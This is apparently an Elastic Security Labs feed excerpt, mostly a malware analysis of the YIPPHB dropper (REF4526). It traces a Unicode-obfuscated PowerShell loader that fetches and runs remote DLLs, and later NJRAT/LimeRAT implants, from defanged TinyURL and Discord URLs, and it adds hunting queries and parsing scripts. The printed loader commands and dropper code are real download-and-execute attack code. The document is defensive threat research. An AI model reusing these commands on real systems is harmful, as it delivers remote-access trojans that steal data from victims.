<li>Ensure that you have deployed the latest Microsoft <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350">Security Update</a> (Monthly Rollup or Security Only) and restart the patched machines. If unable to patch immediately: Microsoft <a href="https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability">released</a> a registry-based workaround that doesn’t require a restart. This can be used as a temporary solution before the patch is applied.</li>
<li>Maintain backups of your critical systems to aid in quick recovery.</li>
<li>Perform routine vulnerability scans of your systems and patch identified vulnerabilities.</li>
</ol>
<h2>References</h2>
<ol>
<li><a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350">CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-1350">CVE-2020-1350</a></li>
<li><a href="https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/">SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers</a></li>
<li><a href="https://www.elastic.co/jp/blog/elastic-security-opens-public-detection-rules-repo">Elastic Security opens public detection rules repo</a></li>
<li><a href="https://github.com/maxpl0it/CVE-2020-1350-DoS">Maxpl0it - CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit</a></li>
<li><a href="https://isc.sans.edu/forums/diary/PATCH+NOW+SIGRed+CVE20201350+Microsoft+DNS+Server+Vulnerability/26356/">SANS Internet Storm Center - PATCH NOW - SIGRed - CVE-2020-1350 - Microsoft DNS Server Vulnerability</a></li>
</ol>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/detection-rules-for-sigred-vulnerability/blog-thumb-security-laptop.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Doing time with the YIPPHB dropper]]></title>
            <link>https://www.elastic.co/jp/security-labs/doing-time-with-the-yipphb-dropper</link>
            <guid>doing-time-with-the-yipphb-dropper</guid>
            <pubDate>Mon, 21 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs outlines the steps collect and analyze the various stages of the REF4526 intrusion set. This intrusion set uses a creative approach of Unicode icons in Powershell scripts to install a loader, a dropper, and RAT implants.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs identified 12 clusters of activity using a similar TTP of threading Base64 encoded strings with Unicode icons to load the YIPPHB dropper.</li>
<li>YIPPHB is an unsophisticated, but effective, dropper used to deliver RAT implants going back at least May of 2022.</li>
<li>The initial access attempts to use Unicode icons embedded in Powershell to delay automated analysis.</li>
</ul>
<h2>Preamble</h2>
<p>While reviewing telemetry data, Elastic Security Labs identified abnormal arguments during the execution of Powershell. A closer examination identified the use of Unicode icons within Base64-encoded strings. A substitution mechanism was used to replace the icons with ASCII characters.</p>
<p>Once the icons were replaced with ASCII characters, a repetitive process of collecting Base64 encoded files and reversed URLs was used to execute a dropper and a full-featured malware implant. The dropper and malware implant was later identified as YIPPHB and NJRAT, respectively.</p>
<p>This research focused on the following:</p>
<ul>
<li>Loader phase</li>
<li>Dropper phase</li>
<li>RAT phase</li>
<li>Activity clusters</li>
<li>Network infrastructure</li>
<li>Hunting queries</li>
</ul>
<h2>Analysis</h2>
<p>The analysis of this intrusion set describes an obfuscation method we believe is intended to evade automated analysis of PowerShell commands, and which we characterize as rudimentary and prescriptive.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image3.png" alt="Execution flow for the REF4526 intrusion set" /></p>
<h3>Loader phase</h3>
<p>While analyzing Powershell commands in Elastic’s telemetry, we observed Unicode icons embedded into Powershell commands. The use of Unicode to obfuscate Powershell commands is not a technique we have observed.</p>
<pre><code>&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
</code></pre>
<p>While this technique is not overly complex in that it simply replaces the icons with an ASCII character, it is creative. This technique could delay automated analysis of Base64 encoded strings unless the Powershell command was either fully executed or an analysis workflow was leveraged to process Unicode and replacement functions.</p>
<p>Looking at the Powershell command, we were able to identify a simple process to replace the Unicode watch icons (⌚⌚⌚) with a <strong>U</strong>. To illustrate what’s happening, we can use the data analysis tool created by the GCHQ: <a href="https://gchq.github.io/CyberChef/">CyberChef</a>.</p>
<p>By loading the “Find / Replace”, the “Decode Base64”, and the “Decode text (UTF-16LE)” recipes, we can decode the Powershell string.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image5.png" alt="Decoding the Unicode Base64 Powershell string" /></p>
<p>Within the decoded string we can see how the loader, follow-on dropper, and implant are installed.</p>
<pre><code>$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>The loader is downloaded from <code>https://tinyurl[.]com/2erph6cs</code>. TinyURL is a popular URL shortening service, and while it has very legitimate uses, it can also be abused to hide malicious URLs that blend into normal network traffic.</p>
<p>To unfurl the TinyURL, we can use the JSON API endpoint from <a href="https://unshorten.me/">Unshorten.me</a>:</p>
<pre><code>$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    &quot;requested_url&quot;: &quot;tinyurl[.]com/2erph6cs&quot;,
    &quot;success&quot;: true,
    &quot;resolved_url&quot;: &quot;https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt&quot;,
    &quot;usage_count&quot;: 3,
    &quot;remaining_calls&quot;: 8
}
</code></pre>
<p>Downloading <strong>dllsica.txt</strong> from the Discord content delivery network provided us with another Base64-encoded string. Unlike the previous Powershell string, the string from <strong>dllsica.txt</strong> can easily be decoded without substitutions.</p>
<p>Using the <strong>cat</strong> , <strong>base64</strong> , <strong>xxd</strong> , and <strong>head</strong> command line tools, we can see that this has a hexadecimal value of <strong>4d5a</strong> and an MZ magic number in the file header. This confirms we’re analyzing a PE file.</p>
<ul>
<li><strong>cat</strong> - catenates a file</li>
<li><strong>base64 -D</strong> - the <strong>-D</strong> switch decodes a base64 encoded file</li>
<li><strong>xxd</strong> - creates a hexadecimal dump of an input</li>
<li><strong>head</strong> - returns the first 10 lines of a file</li>
</ul>
<pre><code>$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...
</code></pre>
<p>Next, we deobfuscated the binary, wrote it to disk, then generated a SHA-256 hash.</p>
<ul>
<li><strong>file</strong> - verify the file type</li>
<li><strong>shasum -a 256</strong> - the -a 256 switch uses the 256-bit hashing algorithm</li>
</ul>
<pre><code>$ cat dllsica.txt | base64 -D &gt; dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
</code></pre>
<p>Now that the loader has been collected, it executes the method <strong>PUlGKA</strong> inside of the class <strong>NwgoxM.KPJaN</strong>. From the original Base64 decoded string</p>
<pre><code>…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image7.png" alt="The loader’s execution" /></p>
<p>We may publish future research on this loader, which maintains access by copying itself into the user's Startup folder as a natively-supported VBscript.</p>
<pre><code>FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + &quot;\\&quot; + NameCopy + &quot;.vbs&quot;);
</code></pre>
<h3>Dropper phase</h3>
<p>From the loader's execution image above, we can see that the loader uses a reversed variable (<strong>text = bdw6ufv4/moc[.]lruynit//:sptth</strong>) to download an additional file using a TinyURL. Using the command line tool, <strong>rev</strong> , we can correct the reversed URL.</p>
<pre><code>$ echo &quot;bdw6ufv4/moc.lruynit//:sptth&quot; | rev

https://tinyurl[.]com/4vfu6wd
</code></pre>
<p>We can unfurl the TinyURL using the Unshorten.me JSON API endpoint to identify the download location of the dropper.</p>
<pre><code>$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    &quot;requested_url&quot;: &quot;tinyurl[.]com/4vfu6wd&quot;,
    &quot;success&quot;: true,
    &quot;resolved_url&quot;: &quot;https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt&quot;,
    &quot;usage_count&quot;: 2,
    &quot;remaining_calls&quot;: 9
}
</code></pre>
<p>Another encoded file is downloaded from Discord: <strong>pesica.txt</strong>. As of this writing, VirusTotal reports zero detections of this file.</p>
<p>With clues from <strong>dllsica.bin</strong> , we can see that <strong>pesica.txt</strong> uses UTF-8 encoding. To further analyze our file, we need to replace the <strong>▒▒▒▒</strong> values with an <strong>A</strong> , and Base64 decode the resulting strings.</p>
<pre><code>…truncated…
string text = &quot;bdw6ufv4/moc[.]lruynit//:sptth&quot;;
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace(&quot;▒▒▒▒&quot;, &quot;A&quot;);
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + &quot;\\InstallUtil.exe&quot;,
	Convert.FromBase64String(text3)
	});
…truncated…
</code></pre>
<p>We can stack recipes to perform these functions with CyberChef.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image2.png" alt="Using CyberChef to decode pesica.txt" /></p>
<p>Once we’ve decoded <strong>pesica.txt</strong> , we calculate the hash <strong>bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf</strong>. The decoded output of <strong>pesica.txt</strong> shows the <strong>YippHB</strong> module name.</p>
<pre><code>...truncated...
ToInt16
&lt;Module&gt;
YippHB
ResumeThread_API
...truncated...
</code></pre>
<p>This module name is where the dropper name of YIPPHB is derived from. YIPPHB was originally discovered by security researcher <a href="https://twitter.com/pmelson">Paul Melson</a>. Paul <a href="https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara">publicly disclosed</a> this dropper in October of 2022 at the Augusta BSides security conference.</p>
<p>The YIPPHB dropper is executed using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool">Installutil.exe</a> command-line utility to start the RAT phase.</p>
<blockquote>
<p>We are referring to the next phase as the RAT phase. All of the binaries we were able to collect in this phase were RAT implants (NJRAT, LIMERAT, and ASYNCRAT); however, the modular nature of this intrusion set would allow for any implant type to be used.</p>
</blockquote>
<h3>RAT phase</h3>
<p>Now that the YIPPHB dropper has been executed, it picks up the second part of the original Unicode icon script to install the RAT implant.</p>
<pre><code>…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>The RAT was retrieved from <code>https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt</code>, which is reversed from <strong>txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth</strong>.</p>
<p>Looking at the file <strong>10oct8000.txt</strong> file, we can see that it is a reversed, Base64-encoded file.</p>
<pre><code>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
</code></pre>
<p>We can correct this file and Base64 decode it using the command-line tools <strong>rev</strong> and <strong>base64</strong> and save the output as <strong>10oct8000.bin</strong>.</p>
<pre><code>$ cat 10oct8000.txt | rev | base64 -D &gt; 10oct8000.bin
</code></pre>
<p><strong>10oct8000.bin</strong> has a SHA256 hash of <strong>1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3</strong>. This file is reported on VirusTotal as a variant of the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat">LIMERAT</a> or <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">NJRAT</a> malware families (depending on the source).</p>
<p>Like the loader and YIPPHB dropper, we’ll look at some basic capabilities of the RAT, but not fully reverse it. Researching these capabilities led us to previous research that associates this sample with NJRAT or LIMERAT (<a href="https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html">1</a>, <a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">2</a>).</p>
<p>The RAT starts its execution routine by connecting back to the command and control server. In a separate thread, it also starts a keylogger routine to gather as much information as possible.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image8.png" alt="NJRAT C2 configuration variables" /></p>
<p>For the connection to the command and control server, the RAT uses the configuration information listed as global variables. The victimName variable ( <strong>TllBTiBDQVQ=</strong> ) is a Base64 encoded string that decodes to “NYAN CAT”. Based on the code similarity with <a href="https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs">a known NJRAT code base</a>, this C2 configuration information adds to our conviction that this is related to NJRAT.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image4.jpg" alt="NJRAT code from Github" /></p>
<p>If the RAT is connected to a command and control server that is listening for commands, it sends the following additional information:</p>
<ul>
<li>victimName ( <strong>vn</strong> )</li>
<li>Hardware ID</li>
<li>Username</li>
<li>OSFullName</li>
<li>OSVersion Servicepack</li>
<li>if the Program Files folder ends in <strong>X86</strong> or not</li>
<li>if a webcam is present</li>
<li>the window name</li>
<li>a permission check on the registry</li>
</ul>
<p>If successfully connected to a C2 server, the operator is able to interact with the implant through a series of commands. Security researchers Hido Cohen and CyberMasterV provide a thorough explanation of these commands, and the overall functionality of the RAT, <a href="https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a">here</a> and <a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">here</a></p>
<h3>Activity clusters</h3>
<p>We were able to run additional searches through our telemetry data to identify several clusters of activity. We’ve provided an EQL query below:</p>
<pre><code>intrusion_detection where (process.pe.original_file_name == &quot;PowerShell.EXE&quot; and process.command_line like &quot;*Unicode.GetString*&quot; and process.args like &quot;*replace*&quot;)
</code></pre>
<p>This query allowed us to identify Powershell activity that uses both Unicode characters and the <strong>replace</strong> function.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image6.png" alt="Timeline of REF4526 events" /></p>
<p>Looking at these results, we were able to cluster activity by the variable name in combination with the Unicode icon. In the example that sourced this initial research, one cluster would be the variable <strong>iUqm</strong> and the ⌚⌚⌚Unicode icons.</p>
<table>
<thead>
<tr>
<th>Cluster ID</th>
<th>Variable</th>
<th>Unicode icon + number</th>
<th>Percentage of prevalence (rounded)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ngfYq</td>
<td>❞ (U+275E)</td>
<td>1%</td>
</tr>
<tr>
<td>2</td>
<td>Codigo</td>
<td>❤ (U+2764)</td>
<td>1%</td>
</tr>
<tr>
<td>3</td>
<td>iUqm</td>
<td>⌚ (U+231A)</td>
<td>9%</td>
</tr>
<tr>
<td>4</td>
<td>iUqm</td>
<td>⚔ (U+2694)</td>
<td>6%</td>
</tr>
<tr>
<td>5</td>
<td>Codigo</td>
<td>⁂ (U+2042)</td>
<td>62%</td>
</tr>
<tr>
<td>6</td>
<td>iUqm</td>
<td>✌ (U+270C)</td>
<td>1%</td>
</tr>
<tr>
<td>7</td>
<td>Codigo</td>
<td>⏏ (U+23CF)</td>
<td>1%</td>
</tr>
<tr>
<td>8</td>
<td>Cg1O</td>
<td>☈ (U+2608)</td>
<td>5%</td>
</tr>
<tr>
<td>9</td>
<td>Codigo</td>
<td>♔ (U+2654)</td>
<td>10%</td>
</tr>
<tr>
<td>10</td>
<td>iUqm</td>
<td>ﭏ (U+FB4F)</td>
<td>1%</td>
</tr>
<tr>
<td>11</td>
<td>Codigo</td>
<td>_*/}+/_=</td>
<td>1%</td>
</tr>
<tr>
<td>12</td>
<td>iUqm</td>
<td>☈ (U+2608)</td>
<td>2%</td>
</tr>
</tbody>
</table>
<p>Of note, cluster 11 uses all of the same techniques as the other clusters, but instead of a Unicode icon for substitution, it used a series of ASCII characters ( <strong>_*/}+/_=</strong> ). The intrusion operated the same way and we are unclear why this cluster deviated from using a Unicode icon.</p>
<h3>Collecting and parsing network data</h3>
<p>To scale the analysis of this intrusion set, we wanted to automate the extraction of the loader and dropper encoded URLs from the <strong>process.command_line</strong> fields and the follow-on C2 used by the RAT implants.</p>
<h4>Loader and Dropper</h4>
<p>As noted in the Loader and Dropper phases, the Base64-encoded string needs substitution of the Unicode icons and to be reversed and decoded. After that process, the first URL is readily available, while the second URL requires reversing yet again.</p>
<p>To avoid execution of the Powershell command itself, we can leverage the text processing tool <strong>awk</strong>. What follows is a breakdown of how to do the analysis and we’ll provide a shell script with all of it for reference.</p>
<p>To get started, we’ll need to get access to our data on the command line where we can pipe it to <strong>awk</strong>. We’ve <a href="https://github.com/elastic/securitylabs-thrunting-tools">published a tool</a> called <strong>eql-query</strong> (and another called <strong>lucene-query</strong> ) to do just that.</p>
<p>Using <strong>eql-query</strong> , we can run an EQL query to retrieve the last 180-days of results, retrieving only the <strong>process.command_line</strong> field. The value of doing this from the command line is that it allows us to further parse the data and pull out additional strings of interest.</p>
<pre><code>eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == &quot;PowerShell.EXE&quot; and process.command_line like &quot;*Unicode.GetString*&quot; and process.args like &quot;*replace*&quot;)'
</code></pre>
<p>Next, use <strong>jq</strong> to pass the raw string to <strong>awk</strong> using <strong>jq '._source.process.command_line' -r | awk</strong>.</p>
<blockquote>
<p>If you’re doing this iteratively, it’s best to write the results from <strong>eql-query</strong> to a file, and then operate on the results locally until you have your pipeline how you’d like it.</p>
</blockquote>
<p>The next step is to capture the strings used in the Powershell <strong>replace</strong> commands so we can perform that function ourselves. The best way to do this using <strong>awk</strong> is by capturing them with a regular expression.</p>
<p>This matches the first and second arguments to replace. The first argument is Unicode and possibly not friendly as an <strong>awk</strong> pattern, so we’ll need to escape it first. Once we’ve made the replacement, we’ll print out the “clean” code, the string to find, and the replacement text.</p>
<pre><code>function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, &quot;\\\\&amp;&quot;, str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, &quot;g&quot;)
}
</code></pre>
<p>Finally we can <strong>grep</strong> out the Base64 code (using another regex) and reveal the obfuscated Powershell script.</p>
<pre><code>grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
</code></pre>
<p>This automates the manual conversion process we outlined in the Loader, Dropper, and RAT phases above.</p>
<pre><code>$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>Parsing the URLs from this text should be another simple <strong>awk</strong> match, followed by flipping the second URL, however, Powershell’s default encoding is <strong>UTF-16LE</strong> and <strong>awk</strong> only supports <strong>UTF-8</strong> or ASCII encoding. A tool called <a href="https://linux.die.net/man/1/iconv"><strong>iconv</strong></a> can perform the necessary conversion.</p>
<pre><code>echo &quot;${line}&quot; | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,&quot;&quot;); for(i=1;i&lt;=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
</code></pre>
<p>Once converted, the rest is straightforward parsing. Our output will contain <strong>url1</strong> , <strong>url2</strong> , and a copy of the Unicode strings and their replacements. The URLs are the forward and reverse URLs for each code sample, respectively.</p>
<table>
<thead>
<tr>
<th>Unicode icon</th>
<th>Replacement</th>
<th>url1</th>
<th>url2</th>
</tr>
</thead>
<tbody>
<tr>
<td>⌚⌚⌚</td>
<td>U</td>
<td><code>https://tinyurl[.]com/2erph6cs</code></td>
<td><code>https://cdn.discordapp[.]com/...truncated.../10oct8000.txt</code></td>
</tr>
<tr>
<td>⌚⌚⌚</td>
<td>U</td>
<td><code>http://91.241.19[.]49/ARTS/dllf3txt</code></td>
<td><code>http://91.241.19[.]49/test/new/ZX1.txt</code></td>
</tr>
<tr>
<td>⁂</td>
<td>A</td>
<td><code>http://20.231.55[.]108/dll/06-07-2022.PDF</code></td>
<td><code>http://212.192.246[.]226/dsaffdffa.txt</code></td>
</tr>
</tbody>
</table>
<p>For further details or to try it against your own data, see the <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt8f67cd063158a2dc/637bc872cca9f010a904ea67/ref4526_url_extraction.zip">shell script</a> that combines it all.</p>
<p>Now that we have automated the collection and parsing of the URLs for the loader and dropper, we can move on to the RAT infrastructure.</p>
<h4>RAT</h4>
<p>As evident in the original Powershell script, we know the RAT uses additional network infrastructure. To enumerate this, we need to pull down the RAT much like the dropper would, take a unique set URLs for each <strong>url1</strong> and <strong>url2</strong> output in the previous step, loop through each list, and use <strong>curl</strong> to download them.</p>
<blockquote>
<p>This process requires interacting with adversary-owned or controlled infrastructure. Interacting with adversary infrastructure requires disciplined preparation that not all organizations are ready to pursue. If you don't already have strong knowledge of legal considerations, defensive network egress points, sandboxes, an intelligence gain/loss strategy, etc., the following is presented informationally.</p>
</blockquote>
<p>As the loader never saves the downloaded files to disk and there aren’t always filenames, so to keep track of samples, we’ll use a simple counter. This gives us this simple loop:</p>
<pre><code>ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A &quot;${USER_AGENT}&quot; -o &quot;file-${ctr}&quot; -L --connect-timeout 10 &quot;${line}&quot; 2&gt;&gt;&quot;log-${ctr}.txt&quot;
    ctr=$((ctr + 1))
done
</code></pre>
<p>We use <strong>-v</strong> to capture the request and response headers, <strong>-L</strong> to follow redirects, and <strong>--connect-timeout</strong> to speed up the process when the infrastructure is down. Finally, save the <strong>curl</strong> output to a log file while any files downloaded are saved as <strong>file-X</strong> , where <strong>X</strong> is the value of the counter.</p>
<p>Any RAT files downloaded are Base64-encoded. We can identify valid Base64-encoded files using the <strong>file</strong> command. A Base64-encoded file will be identified as “ASCII text, with very long lines (<em>length</em>), with no line terminators” where <em>length</em> is the file size. For files that match this language, we’ll decode them and save them with a <strong>.dll</strong> extension.</p>
<pre><code>for entry in $(file file-?? | awk -F&quot;: &quot; '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  &lt;&quot;${entry}&quot; | base64 -d &gt;&quot;${entry}.dll&quot;
done
</code></pre>
<p>Now that we have the RAT binaries, we can do some typical static analysis on them. If you have the <a href="https://github.com/VirusTotal/vt-cli">VirusTotal command line tool</a> and can make API queries, searching for known files is another simple loop over all the saved <strong>dll</strong> files.</p>
<pre><code>for entry in *.dll; do
	hash=$(sha256sum &quot;${entry}&quot; | awk '{print $1}')
	vt search &quot;${hash}&quot; &gt;&quot;${entry}.vt.yml&quot;
done
</code></pre>
<p>Looking at the output, we can see that any <strong>yml</strong> file (the <strong>vt</strong> command output) with <strong>0</strong> bytes means no match. These files are unknown to VirusTotal. In this output, we can see that <strong>file-30.dll</strong> , <strong>file-31.dll</strong> , and <strong>file-34.dll</strong> are unknown to VirusTotal.</p>
<pre><code>$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml
</code></pre>
<p>The final analysis we’re going to perform is to attempt to dump any domain names from the DLLs. For many executable file formats, the <strong>strings</strong> command can provide that information. Unfortunately, most of these DLLs are .Net assemblies and the <strong>strings</strong> command won’t work to extract strings from .Net assemblies. The <strong>file</strong> command can again help us identify these as in this example:</p>
<pre><code>$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
</code></pre>
<p>The upside of .Net is that it is easily disassembled and the Mono project provides a tool just for that purpose, <a href="https://www.mono-project.com/docs/tools+libraries/tools/"><strong>ikdasm</strong></a>. This gives us our final loop to search for domain names or references to HTTP URLs.</p>
<pre><code>for item in *.dll; do
    ikdasm &quot;${item}&quot; | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|(&quot;http|ptth&quot;)';
Done
</code></pre>
<p>For more details you can refer to this <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltdeb8fbbb0f53fa97/637bc87271c75510a0ca1a95/ref4526_rat_collection.zip">shell script</a> that puts this second stage of analysis together.</p>
<h2>Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries and victims of intrusions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image1.png" alt="REF4526 diamond model" /></p>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
